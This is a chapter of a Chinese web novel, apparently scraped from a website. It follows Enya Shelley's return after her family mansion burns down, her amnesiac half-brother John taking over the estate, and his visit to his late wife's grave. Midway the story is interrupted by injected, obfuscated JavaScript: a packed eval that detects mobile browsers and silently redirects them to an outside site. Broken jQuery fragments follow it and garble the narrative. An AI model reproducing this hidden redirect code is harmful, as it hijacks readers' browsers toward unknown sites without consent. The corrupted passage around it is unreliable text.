恩雅·雪莱接到雪莱邸大火的消息时，开始怀疑自家真的被诅咒了。


    短短两年里先是哥哥离世，再是双亲出事，现在到了那个私生子……该说她运气好吗？因为逃进教会免去了这一劫？


    “恩雅姐妹——”


    “我要回一趟普洛斯，”恩雅收拾起行李，妈妈见了一定会惊叹，她的小恩雅会自己收拾东西了，“我家被烧了。”


    天哪。修女们感叹着，揽住她：“愿神保佑您的家人平安无事。”


    恩雅的眉毛纠结在一起，过了一会儿，点头表示认同。


    自她离开普洛斯才过去半年，但不管是她，还是故土，都大有变化。


    也或许只是她变了。


    她先叫马车把自己送到了雪莱邸，生活了近二十年的雪白宅邸被熏成了漆黑的破落样，门房也换了，正屈着一条腿在废墟前看场子，对修女打扮的她显露出一脸疑惑。


    恩雅无意说出自己的身份：“有人伤亡吗？”


    门房反应过来：“您是来做弥撒的？不幸中的万幸，我们只找到一具尸体，上周已经下葬了。”


    恩雅皱眉，转身就走。管家最新的来信没提及这些进展。他的第一封是在出事那天写的，光是措辞就出了不少文法错误，大概是被吓得不清。


    这一切都很奇怪，刚当上家主的弟弟突然娶了一个来路不明的女人，新婚之夜赶走所有仆人，又恰好在这期间失火……


    如果这是算计，谁能得利？似乎所有人都是输家，劫火则是天谴，对不义之举的责罚。


    恩雅的下一站是信上老管家的住宅。


    出示信件后佣人将她引到楼上，一边解释管家还没回来，但事前吩咐过让她先带“雪莱小姐”去见那个人。


    女仆的敲门声得到了温和的回应，恩雅上前一步一把推开房门，头裹绷带的苍白青年靠坐在床上，视线从沾了灰尘的窗玻璃移向她，那双海蓝宝般的眼睛一如既往的清澈。


    还是一样美丽，一样纤尘不染，甚至比她们初见时更为纯净。


    “……修女(Sister)？”


    恩雅扭头问女仆：“不是说他失忆了吗？”


    女仆解释：“他的意思不是姐妹，您看……”


    她指向她的头纱。


    恩雅把手提袋放在门后，拉过椅子坐在这个青年的床边，思索该怎么开口。


    青年见她不说话，便继续看着窗外发呆。


    恩雅憋不住了：“你还记得哪些事？”


    “他们叫我约翰·雪莱，但我记得我的名字是约翰·克林，”约翰苦笑，“一个住在煤灰区的零件厂学徒，不是什么贵族老爷。”


    克林，安吉拉·克林，母亲的日记里有提到。恩雅没想到他忘了那么多，揪着裙摆，深吸一口气，她决定遵从神的引导：“我是你同父异母的姐姐，恩雅·雪莱，我会把我知道的事一五一十地告诉你。”


    妈妈留在神国的日记里详细记录了从她少女时代开始，乃至进入雪莱家后做的一系列不光彩行为，哥哥逝去后的悲伤和忏悔成了收尾。


    读完关于安吉拉和约翰的部分，恩雅发现自己找不到恨的目标，就算他是陷害西恩、杀死父亲的人也好，这不过是一种报应轮回，他们都挣扎在血和金钱的诅咒中。


    约翰静静听她说完，陷入沉思：“妈妈已经死了……”


    恩雅悲从中来，他或她，现在都只是失去至亲的孤儿了。


    但她很快振作起来：“你接下来什么打算？得先把主宅重新修好吧？哪有伯爵会一直赖在佣人家里。”


    “您说的这些事乔瑟夫先生也和我说过，但我总觉得与自己无关。”约翰说，“他还说我已经结婚了……可居然没人知道我妻子的姓氏，那是个真实存在的人吗？这一切……真的不是你们的整蛊吗？”


    恩雅一拳捶在他的床榻上：“别以为失忆了过去就一笔勾销了！给我负起责任来！你已经是雪莱的家主了！”


    约翰险险挪开手，没被她误伤：“您又是为什么逃到了神的膝下呢？”


    一瞬，恩雅怀疑他根本没失忆。


    但他问得很真诚。


    “这是我命中注定的道路。”恩雅闭了闭眼，再睁开时恢复了冷静，“不管是假意还是真心，当时你帮过我，现在我也会帮你一把。”


    门外传来幽怨的声音：“拜托您了小姐，如果老爷再不振作起来，您下个月的零用钱就没了，我们的工资也是。”


    管家抱着账本探头。


    恩雅感到了事态紧急：“你伤好了没？我再去给你找两个医生。”


    医生。这个词微微拨动了心底的某根弦，但下一秒账本压在了被褥上，约翰盯着那堆数字，内心那点动弹很快消散。


    *


    一切都在回归正途。


    至少“姐姐”是这么告诉他的。


    “你居然借了那么多外债！”


    “我的好小姐，处处都要用钱，您的婚礼可不比他的便宜。”围着书桌，管家忙不迭为约翰解围，“有一些债务是用于采购贝兹坦的器械，商品还没到呢……”


    “那先把重修宅邸的事放一放。”约翰翻过一页管家整理的档案，“给我在主城区租个屋子，不用太大，有会客室和书房就行。另外帮我约见这几个贝兹坦的商人……”


    学识并不包含在他失去的记忆里，约翰很快上手了这堆硬推给他的工作。他没有抗拒——除此之外也没什么好做的，记忆带走了他的一部分人格，现在的他空空落落，急需新的东西填满。


    恩雅纠结地试图心算女仆们的工资单，最终还是放弃：“……明明你只是个桦树区的孤儿，到底在哪儿学会这么多的！”


    管家也同她一齐看着他，约翰一顿，反问道：“在哪呢？”


    伤口的钝痛似乎在阻止他想起来。


    恩雅不再深究，转而说起自己的突发奇想：“教会想在城外再修一个孤儿院，你既然这么能赚钱，不如来当赞助人。”


    “请先写一份计划书给我吧。”


    “……那暂时缓缓。”


    *


    一年后，火灾的遗迹依旧没得到处理，但雪莱之名已经从烈火中重生，只是长向了奇怪的方向。


    雪莱家主的标签从“好色”变迁为了“贪财”，他的姐姐反而隐隐有了圣女的美名。


    约翰觉得狭小的公寓给了他无与伦比的安心感，便直接买下整栋屋子，任凭其他人怎么劝也不挪窝。


    贵族们以为他堕落，不屑登门拜访。会来这里走动的只有姐姐、管家和有所求的商人们。


    今天也是如此。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074311|193750||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “今日是您夫人的忌日。”管家说，面有难色，“您不去拜访她吗？”


    他记得约翰如何为“怀特夫人”怒发冲冠，又如何沉迷于那个黑衣女人以至于借钱购买价值不菲的珠宝。这一任雪莱家主或许与以往并无不同，一样的薄情寡义，一样的会放任激情短暂占据他们的头脑，却终究最爱自己。


    “我想不起来，乔瑟夫。”约翰靠在椅背上，手指插入发丝间，摩挲后脑勺那个凸起的疤痕，“她是谁？她长什么样？为什么她连一幅画像都没留下？”


    “莉莉和她关系比较好，你应该去问她。”


    “问了。”约翰从抽屉中抽出一张纸，上面的画出自女仆之手，抽象而狂野，“她说她脸上有疤，但你们又说没有；她说她的眼睛像红宝石，你们说她是黑眼睛……我过世的夫人是个会变身的怪物吗？”


    管家无言以对：“说实话，老爷，我们都觉得她是个怪胎。”


    也不理解约翰为什么这么痴迷于她，甚至怀疑他就是喜欢精神有问题的寡妇。


    “好吧，出于礼节，虽然我没那么敬重规则，还是去看看她吧。”约翰嘀嘀咕咕地站起来，“准备一束百合，不用太贵。”


    抱着花束踏入细雨绵绵的墓地，约翰把礼帽压低，遮住自己百无聊赖的眼神。乔治·雪莱、尤利娅·雪莱、弗格斯·雪莱……


    找到了，加奈塔·雪莱。


    火灾那晚主宅里只有他和这个人，火灾之后则只有一具无名的焦黑女尸和草地上昏迷的他。治安官试图搜寻雪莱夫人仍活着的痕迹，无果，只能盖棺定论——唯一的死者便是他那可怜的夫人。


    调查显示火灾成因是烟头，但他俩那晚为什么要赶所有人走，为什么只有他逃出生天，一切都成了谜，甚至有人怀疑是他谋杀了这个女人。


    你是谁。约翰放下花束，擦去浸润墓碑的雨水，无声问道。


    显圣教堂的墓园里还有其他人，做戏做得差不多了，约翰准备稍稍去其他先祖面前溜个弯就回去处理公务。


    再往里是他的两位早夭的叔叔、祖父、祖父的六任妻子、曾祖父……


    他路过一个静立默哀的瘦小男人，听见湿哒哒的脚步声，男人朝约翰看来，他先是惊艳于这张阴影下的面容，又扫到了他衣领上的游隼，凹陷的眼眶变得神采奕奕，大步走近企图拍肩：


    “你就是小雪莱伯爵吧？您为何不邀请我参加你的婚礼？以致于我们现在才遇见！


    我们家与雪莱家也有姻亲关系，你看，你祖父旁边的这个墓碑就属于我可怜的女儿，她曾被誉为‘王国之花’……”


    约翰不适地避开他的手：“先生，您应该知道，我只是雪莱家的私生子，十八岁才回到家中，无缘得见我的祖父。”


    管家和姐姐联手把他失忆的事瞒得好好的，但意外总埋伏在无防备的地方，比如面前这个伏兵，他看上去很想叙旧。


    约翰打算抛出脱身的借口时，男人又继续说：“瞧瞧你，衣服都湿透了，我听说雪莱邸还没修好？请上我家来，就在附近，我们有从东方运来的上好茶叶，还有那些往事，你一定得听听！”


    男人热情地拽着他的胳膊往墓园外走，约翰有些无奈，但能听到自己不知道的事总是好的，这样下次遇上类似的人他也能有点准备。